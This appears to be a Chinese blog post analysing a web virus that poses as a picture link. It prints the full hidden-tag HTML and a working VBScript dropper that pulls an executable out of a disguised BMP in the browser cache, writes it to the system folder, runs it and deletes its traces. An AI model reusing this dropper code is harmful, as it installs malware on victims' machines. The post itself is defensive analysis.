某網頁病毒淺析
某日，一QQ好友給我發訊息，說正在看一幅畫，還強調沒病毒，我想把連接框起來，用網路快車下載下來看，沒想到一下子點進去了，防火牆蹦出來，問要不要讓mshta.exe訪問網路，我知道中毒了，直接禁止他，然後用網路快車下載該jpg文件看，原來是html+javascript,找到如下可疑內容：
<img src="/images/girl.jpg" width="600" height="800">
顯示jpg圖像，讓人以為此奶一MM圖片
<IMG SRC=klook.bmp width=0 height=0>
<object data="klook.ASP" width=0 height=0>
klook.bmp和klook.ASP保證有問題
於是下載klook.bmp看，確實是bmp圖，但都是亂七八糟的色塊，於是用UltraEdit開啟看，文件頭是BMP沒錯，殼居然發現"MZ"和"PE"字樣！我明白了，他把EXE文件貼上再BMP文件頭的後面！
再下載klook.asp，內容如下：
<title>-</title>
<SCRIPT LANGUAGE="VBScript">
Option Explicit
Dim FSO,WSH,CACHE,str,sucess
Set FSO = CreateObject("Scripting.FileSystemObject")
Set WSH = CreateObject("WScript.Shell")
CACHE=wsh.RegRead("HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\快取")
sucess=0
SearchBMPFile fso.GetFolder(CACHE),"klook[1].bmp"
if sucess=0 then SearchBMPFile fso.GetFolder(CACHE),"klook[2].bmp"
Function SearchBMPFile(Folder,fname)
Dim SubFolder,File,Lt,tmp,winsys
str=FSO.GetParentFolderName(folder) & "\" & folder.name & "\" & fname');
if FSO.FileExists(str) then
tmp=fso.GetSpecialFolder(2) & "\"
winsys=fso.GetSpecialFolder(1) & "\"
set File=FSO.GetFile(str)
File.Copy(tmp & "tmp.dat")
On Error Resume Next
File.Delete
if FSO.FileExists(str) then exit function
set Lt=FSO.CreateTextFile(tmp & "tmp.in")
Lt.WriteLine("rbx")
Lt.WriteLine("0")
Lt.WriteLine("rcx")
Lt.WriteLine("2200")
Lt.WriteLine("w136")
Lt.WriteLine("q")
Lt.Close
set Lt=FSO.CreateTextFile(tmp & "tmp.bat")
Lt.WriteLine("%40echo off")
Lt.WriteLine(chr(100) & "ebug " & tmp & "tmp.dat <" & tmp & "tmp.in >" & tmp & "tmp.out")
Lt.WriteLine("copy " & tmp & "tmp.dat " & winsys & "klook.exe>" & tmp & "tmp.out")
Lt.WriteLine("del " & tmp & "tmp.dat >" & tmp & "tmp.out")
Lt.WriteLine("del " & tmp & "tmp.in >" & tmp & "tmp.out")
Lt.WriteLine(winsys & "klook.exe")
Lt.WriteLine("del %0")
Lt.Close
sucess=1
WSH.Run tmp & "tmp.bat",false,6
On Error Resume Next
end if
If Folder.SubFolders.Count <> 0 Then
For Each SubFolder In Folder.SubFolders
SearchBMPFile SubFolder,fname
Next
End If
End Function
window.close
</script>
<SCRIPT language=JavaScript>
parent.moveTo(0,0);
parent.resizeTo(0,0);
</SCRIPT>
大概是這樣的：
先新增Scripting.FileSystemObject對像和WScript.Shell對象，讀取IE臨時文件所在地，然後搜尋下載的klook.bmp文件，再把klook.bmp尾部附加的exe文件放出來執行。
下次把那個exe文件切下來反彙編一下